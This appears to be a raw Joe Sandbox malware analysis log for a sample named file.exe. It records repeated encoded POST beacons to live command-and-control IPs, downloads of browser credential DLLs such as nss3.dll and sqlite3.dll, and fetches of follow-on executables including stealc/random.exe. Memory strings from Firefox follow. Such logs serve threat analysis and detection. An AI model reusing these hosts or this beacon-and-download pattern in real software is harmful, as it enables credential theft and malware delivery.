Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 85.28.47.31 85.28.47.31
Source: Joe Sandbox View	IP Address: 185.215.113.19 185.215.113.19

Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlYou must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlYou must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3077664321.00000270DC61F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2958630660.0000014A6E160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2952270255.00000158A7AC0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3030803173.00000270C9930000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031269537.00000270C9B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://connect.facebook.net//sdk.jsFileUtils_closeSafeFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1://web-assets.toggl.com/app/assets/scripts/.js://connect.facebook.net//all.js://www.google-analytics.com/gtm/js://.imgur.io/js/vendor..bundle.js://c.amazon-adsystem.com/aax2/apstag.js://www.everestjs.net/static/st.v3.js://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.js://static.criteo.net/js/ld/publishertag.js://cdn.branch.io/branch-latest.min.jswebcompat-reporter@mozilla.org.xpi://.imgur.com/js/vendor..bundle.js://libs.coremetrics.com/eluminate.jsFileUtils_closeAtomicFileOutputStream://www.google-analytics.com/analytics.js://www.googletagmanager.com/gtm.js://www.google-analytics.com/plugins/ua/ec.jshttps://smartblock.firefox.etp/play.svg://track.adform.net/serving/scripts/trackpoint/://static.chartbeat.com/js/chartbeat_video.jsresource://gre/modules/FileUtils.sys.mjs@mozilla.org/addons/addon-manager-startup;1://www.rva311.com/static/js/main..chunk.jsresource://gre/modules/addons/XPIProvider.jsm://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://pub.doubleverify.com/signals/pub.jshttps://smartblock.firefox.etp/facebook.svgpictureinpicture%40mozilla.org:1.0.0://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://adservex.media.net/videoAds.jsbrowser:purge-session-history-for-domain equals www.facebook.com (Facebook)
